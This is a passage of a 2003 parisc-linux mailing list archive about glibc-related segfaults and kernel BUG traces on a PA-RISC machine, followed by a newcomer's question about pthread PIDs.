List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18507

On Sun, 18 May 2003, Randolph Chung wrote:

> > > once gcc-3.2 gets patched and glibc gets recompiled, you'll be ok.
> > > otherwise, consider downgrading to libc6_2.3.1-16 and everything will be
> > > ok.
> >
> > what about the gcc-3.3 debs that are distributed ? If I rebuilt the
> > packages from source with them would they be ok ?
>
> yes, that should work too.

didn't :((

rebuild vim by hand with gcc 3.3 and it again segfaulted on startup :(
seems like this is a problem with shared libs ?

what else will I need to rebuilt ? or other question - how often are
packages re-built by debian package building system (how-ever this
works) ?

-- 
Greetings

Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:27:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Inconsistency detected by ld.so:.. / do_page_fault()
Date: Sun, 18 May 2003 16:20:05 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200305182020.h4IKK5KR017492@hiauly1.hia.nrc.ca>
References: <Pine.BSF.4.53.0305181942400.86062@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622464 25831 80.91.229.3 (22 Nov 2014 02:14:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:24 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: bzeeb-lists@lists.zabbadoz.net (Bjoern A. Zeeb)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 18 14:20:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BFB7B4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 May 2003 14:20:06 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4IKK5gL017493;
	Sun, 18 May 2003 16:20:06 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4IKK5KR017492;
	Sun, 18 May 2003 16:20:05 -0400 (EDT)
In-Reply-To: <Pine.BSF.4.53.0305181942400.86062@e0-0.zab2.int.zabbadoz.net> from "Bjoern A. Zeeb" at May 18, 2003 07:44:36 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18508

> didn't :((
> 
> rebuild vim by hand with gcc 3.3 and it again segfaulted on startup :(
> seems like this is a problem with shared libs ?

Did you rebuild or downgrade glibc as suggested?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Inconsistency detected by ld.so:.. / do_page_fault()
Date: Sun, 18 May 2003 13:38:55 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20030518203855.GK548@tausq.org>
References: <Pine.BSF.4.53.0305181226340.86062@e0-0.zab2.int.zabbadoz.net> <20030518161001.GG548@tausq.org> <Pine.BSF.4.53.0305181640470.86062@e0-0.zab2.int.zabbadoz.net> <20030518171645.GH548@tausq.org> <Pine.BSF.4.53.0305181942400.86062@e0-0.zab2.int.zabbadoz.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622465 25832 80.91.229.3 (22 Nov 2014 02:14:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 18 14:38:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 620594829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 May 2003 14:38:52 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id BB87BCD2F8; Sun, 18 May 2003 13:38:55 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.53.0305181942400.86062@e0-0.zab2.int.zabbadoz.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18509

> rebuild vim by hand with gcc 3.3 and it again segfaulted on startup :(
> seems like this is a problem with shared libs ?

don't rebuild vim, rebuild glibc :)

> what else will I need to rebuilt ? or other question - how often are
> packages re-built by debian package building system (how-ever this
> works) ?

it depends on when the next version is uploaded.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Inconsistency detected by ld.so:.. / do_page_fault()
Date: Sun, 18 May 2003 20:41:08 +0000 (UTC)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0305182038270.86062@e0-0.zab2.int.zabbadoz.net>
References: <200305182020.h4IKK5KR017492@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622465 25833 80.91.229.3 (22 Nov 2014 02:14:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:25 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 18 14:41:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 614BF4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 May 2003 14:41:25 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 89A391FFBCD; Sun, 18 May 2003 22:41:24 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 8A6511FFBCA; Sun, 18 May 2003 22:41:23 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 40DEB153C2; Sun, 18 May 2003 20:41:08 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 36843153AD; Sun, 18 May 2003 20:41:08 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <200305182020.h4IKK5KR017492@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18510

On Sun, 18 May 2003, John David Anglin wrote:

> > didn't :((
> >
> > rebuild vim by hand with gcc 3.3 and it again segfaulted on startup :(
> > seems like this is a problem with shared libs ?
>
> Did you rebuild or downgrade glibc as suggested?

missed that point because the point in my first posting also was glibc
related and I thaught of these as two independend problems but both
are glibc related....  *grrml*
Well, going to see where I can get an up-to-date glibc source
(including the patches) from ...

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:27:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Inconsistency detected by ld.so:.. / do_page_fault()
Date: Sun, 18 May 2003 13:50:59 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20030518205058.GL548@tausq.org>
References: <200305182020.h4IKK5KR017492@hiauly1.hia.nrc.ca> <Pine.BSF.4.53.0305182038270.86062@e0-0.zab2.int.zabbadoz.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622465 25837 80.91.229.3 (22 Nov 2014 02:14:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:25 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 18 14:50:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BE854829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 May 2003 14:50:46 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 086BDCD2F8; Sun, 18 May 2003 13:50:59 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.53.0305182038270.86062@e0-0.zab2.int.zabbadoz.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18511

> missed that point because the point in my first posting also was glibc
> related and I thaught of these as two independend problems but both
> are glibc related....  *grrml*
> Well, going to see where I can get an up-to-date glibc source
> (including the patches) from ...

apt-get source glibc

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Inconsistency detected by ld.so:.. / do_page_fault()
Date: Mon, 19 May 2003 12:07:28 +0000 (UTC)
Lines: 144
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0305191159520.86062@e0-0.zab2.int.zabbadoz.net>
References: <Pine.BSF.4.53.0305181226340.86062@e0-0.zab2.int.zabbadoz.net>
 <20030518161001.GG548@tausq.org> <Pine.BSF.4.53.0305181640470.86062@e0-0.zab2.int.zabbadoz.net>
 <20030518171645.GH548@tausq.org> <Pine.BSF.4.53.0305181942400.86062@e0-0.zab2.int.zabbadoz.net>
 <20030518203855.GK548@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416622465 25840 80.91.229.3 (22 Nov 2014 02:14:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 19 06:08:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A84B4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 May 2003 06:08:05 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 766D61FFBD5; Mon, 19 May 2003 14:07:58 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 8A7211FFBCD; Mon, 19 May 2003 14:07:57 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 565FD153B4; Mon, 19 May 2003 12:07:27 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 4B451153AD; Mon, 19 May 2003 12:07:28 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <20030518203855.GK548@tausq.org>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18512

On Sun, 18 May 2003, Randolph Chung wrote:

Hi,

> > rebuild vim by hand with gcc 3.3 and it again segfaulted on startup :(
> > seems like this is a problem with shared libs ?
>
> don't rebuild vim, rebuild glibc :)

just to note for the further message; the machine (715/100) is running:
Linux apollo 2.5.69-pa1 #22 Sat May 17 16:48:19 UTC 2003 parisc GNU/Linux
gcc-3.3, binutils 2.14.90.0.1-0.1, libc6 2.3.1-17


ok, started glibc build over night and ...

--- cut ---
gcc-3.3 tst-pathopt.c -c -std=3Dgnu99 -O2 -Wall -Winline -Wstrict-prototype=
s -Wwrite-strings -fstrict-aliasing -g -pipe      -I../include -I. -I/u1/sr=
c/glibc/glibc-2.3.1/hppa-linux/obj/elf -I.. -I../libio  -I/u1/src/glibc/gli=
bc-2.3.1/hppa-linux/obj -I../sysdeps/hppa/elf -I../linuxthreads/sysdeps/uni=
x/sysv/linux/hppa -I../linuxthreads/sysdeps/unix/sysv/linux -I../linuxthrea=
ds/sysdeps/pthread -I../sysdeps/pthread -I../linuxthreads/sysdeps/unix/sysv=
 -I../linuxthreads/sysdeps/unix -I../linuxthreads/sysdeps/hppa -I../sysdeps=
/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux -I../sysdeps/gnu -I../sy=
sdeps/unix/common -I../sysdeps/unix/mman -I../sysdeps/unix/inet -I../sysdep=
s/unix/sysv -I../sysdeps/unix -I../sysdeps/posix -I../sysdeps/hppa/hppa1.1 =
-I../sysdeps/wordsize-32 -I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/d=
bl-64 -I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa=
 -I../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sysdeps/generic  -nostd=
inc -isystem /usr/lib/gcc-lib/hppa-linux/3.3/include -isystem /usr/src/kern=
el-headers-2.5.69-pa1-hppa/include -D_LIBC_REENTRANT -include ../include/li=
bc-symbols.h   -DNOT_IN_libc=3D1    -o /u1/src/glibc/glibc-2.3.1/hppa-linux=
/obj/elf/tst-pathopt.o
make[4]: Target `tests' not remade because of errors.
make[4]: Leaving directory `/u1/src/glibc/glibc-2.3.1/glibc-2.3.1/elf'
make[3]: *** [elf/tests] Error 2
make[3]: Target `check' not remade because of errors.
make[3]: Leaving directory `/u1/src/glibc/glibc-2.3.1/glibc-2.3.1'
make[2]: *** [check] Error 2
make[2]: Leaving directory `/u1/src/glibc/glibc-2.3.1/hppa-linux/obj'
date >>/u1/src/glibc/glibc-2.3.1/log-test-hppa-linux
make[1]: Leaving directory `/u1/src/glibc/glibc-2.3.1'
touch /u1/src/glibc/glibc-2.3.1/hppa-linux/compiled-source
Segmentation fault
--- cut ---


my ssh connection had been terminated/crashed I woke up this morning
and after re-connection I had those in dmegs:

--- cut ---
do_page_fault() pid=3D268 command=3D'sshd' type=3D6 address=3D0x00000003

YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  00000000 401e3e44 40110d07 401e75b0
r04-07  401e75b0 401e5644 00000002 000fe588
r08-11  00000001 000f7f60 000fa438 000e7760
r12-15  00000001 000f7f60 000e7760 000e7760
r16-19  000e7760 00000004 00000004 401e5644
r20-23  00000060 00000000 0002ad9c faf01020
r24-27  00000004 00000001 401e75b0 000e7760
r28-31  00000001 00000000 faf00e40 0002e8d3
sr0-3   00000000 000004bf 00000000 000004bf
sr4-7   000004bf 000004bf 000004bf 000004bf

IASQ: 000004bf 000004bf IAOQ: 00000003 00000007
IIR: 34250fe0    ISR: 000004bf  IOR: 401df8ec
CPU:        0   CR30: 15b84000 CR31: 102e1000
ORIG_R28: 00000000

kernel BUG at mm/memory.c:1443!
Kernel addresses on the stack:
 [<1012414c>] printk+0x17c/0x1bc
 [<101059e8>] dump_stack+0x10/0x1c
 [<101492dc>] do_file_page+0x124/0x12c
 [<101493c0>] handle_mm_fault+0xdc/0x16c
 [<10104a6c>] do_page_fault+0x218/0x2a8
 [<10126ca4>] do_setitimer+0x208/0x238
 [<10106364>] handle_interruption+0x274/0x5b4
 [<1012be1c>] sys_alarm+0x28/0x44
 [<1010afe8>] syscall_exit+0x0/0x28
 [<1010a088>] intr_check_sig+0x0/0xc

kernel BUG at mm/memory.c:1443!
Kernel addresses on the stack:
 [<1012414c>] printk+0x17c/0x1bc
 [<101059e8>] dump_stack+0x10/0x1c
 [<101492dc>] do_file_page+0x124/0x12c
 [<101493c0>] handle_mm_fault+0xdc/0x16c
 [<101ec820>] sock_aio_write+0xc4/0xdc
 [<10104a6c>] do_page_fault+0x218/0x2a8
 [<1014b188>] unmap_vma_list+0x24/0x3c
 [<10106364>] handle_interruption+0x274/0x5b4
 [<10157310>] __fput+0x90/0xf4
 [<1015661c>] sys_write+0x4c/0x68
 [<1010afe8>] syscall_exit+0x0/0x28
 [<1010a088>] intr_check_sig+0x0/0xc
--- cut ---


then tried to shutdown and got an endless loop of those:

--- cut ---
kernel BUG at include/linux/swapops.h:68!
Kernel addresses on the stack:
 [<1012414c>] printk+0x17c/0x1bc
 [<101059e8>] dump_stack+0x10/0x1c
 [<10152790>] unuse_pmd+0x160/0x168
 [<101ce120>] blk_remove_plug+0x5c/0x84
 [<1015281c>] unuse_pgd+0x84/0x110
 [<10120168>] schedule+0x1cc/0x40c
 [<10152914>] unuse_vma+0x6c/0xf4
 [<10152a0c>] unuse_process+0x70/0xbc
 [<10152ce8>] try_to_unuse+0x240/0x620
 [<10153650>] sys_swapoff+0x1f8/0x384
 [<1014b6a4>] sys_munmap+0x50/0x6c
 [<1010afe8>] syscall_exit+0x0/0x28
 [<1010a088>] intr_check_sig+0x0/0xc

kernel BUG at include/linux/swapops.h:68!
Kernel addresses on the stack:
 [<1012414c>] printk+0x17c/0x1bc
 [<101059e8>] dump_stack+0x10/0x1c
 [<10152790>] unuse_pmd+0x160/0x168
 [<101ce120>] blk_remove_plug+0x5c/0x84
 [<1015281c>] unuse_pgd+0x84/0x110
 [<10120168>] schedule+0x1cc/0x40c
 [<10152914>] unuse_vma+0x6c/0xf4
 [<10152a0c>] unuse_process+0x70/0xbc
 [<10152ce8>] try_to_unuse+0x240/0x620
 [<10153650>] sys_swapoff+0x1f8/0x384
 [<1014b6a4>] sys_munmap+0x50/0x6c
 [<1010afe8>] syscall_exit+0x0/0x28
 [<1010a088>] intr_check_sig+0x0/0xc
--- cut ---

--=20
Greetings

Bjoern A. Zeeb=09=09=09=09bzeeb at Zabbadoz dot NeT
56 69 73 69 74=09=09=09=09http://www.zabbadoz.net/


From - Thu Nov 08 21:27:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc pthreads actual threads?
Date: Mon, 19 May 2003 18:27:41 +0200
Lines: 98
Approved: news@gmane.org
Message-ID: <3EC761CD0000080F__45480.1847030923$1416622466$gmane$org@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622466 25843 80.91.229.3 (22 Nov 2014 02:14:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:26 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 19 10:27:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (unknown [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id C843A4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 May 2003 10:27:43 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19HnU5-0005Ly-00; Mon, 19 May 2003 18:27:33 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 19 May 2003 18:27:41 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18513

Hi all,

Sorry in advance if it is not the right place to put this question.

But I just start to learn more details about OS (A. Tanenbaum book) and
by the way try to understand a bit more about [p]threads.

I found a paper with examples (what I need much of all) and so I try by
the first one: basic_example.c (which I just change a very little for my
understanding)

/* for pthreads */
#include <pthread.h>
#include <stdio.h>

/* for getpid() */
#include <sys/types.h>
#include <unistd.h>

char * buf = "abcdefghijklmnopqrstuvwxyz";
int num_pthreads = 4;
int count = 60;
int fd = 1;

void * new_thread(void * arg)
{
    int i;
    pid_t PID=getpid();


    for (i = 0; i < count; i++) {
        fprintf(stderr, "PID: %d\n", PID);
	write(fd, arg, 1); write(fd, "\n", 1);
	sleep(1);
    }
    return(NULL);
}

main()
{
   pthread_t thread;
   int i;

   for (i = 0; i < num_pthreads; i++) {
	if (pthread_create(&thread, NULL, new_thread, (void *)(buf + i))) {
	   fprintf(stderr, "error creating a new thread \n");
	   exit(1);
	}
	pthread_detach(thread);
   }
   pthread_exit(NULL);
}

Which I compile as follow (gcc-3.3):
gcc -l pthread -o basic_example basic_example.c

That runs well (on my b2k running a 2.4.20-pa35 and libc6 2.3.1-17):
[...]
PID: 31360
a
PID: 31361
b
PID: 31362
c
PID: 31363
d
PID: 31360
a
PID: 31361
b
PID: 31362
c
PID: 31363
d
[...]

But notice  a very strange behaviour:
_the pid is not the same for each thread_ ??

Having just a small sunos 5.8 with gcc-3.2.2 (but with native libpthread)
the pb does not occurs?

Is it a limit of glibc (in general or in 2.3 only?) for all linux or only
hppa?

Thanks in advance for your attention,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc pthreads actual threads?
Date: Mon, 19 May 2003 17:32:45 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20030519163245.GN16608__21139.1904893846$1416622466$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <3EC761CD0000080F@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
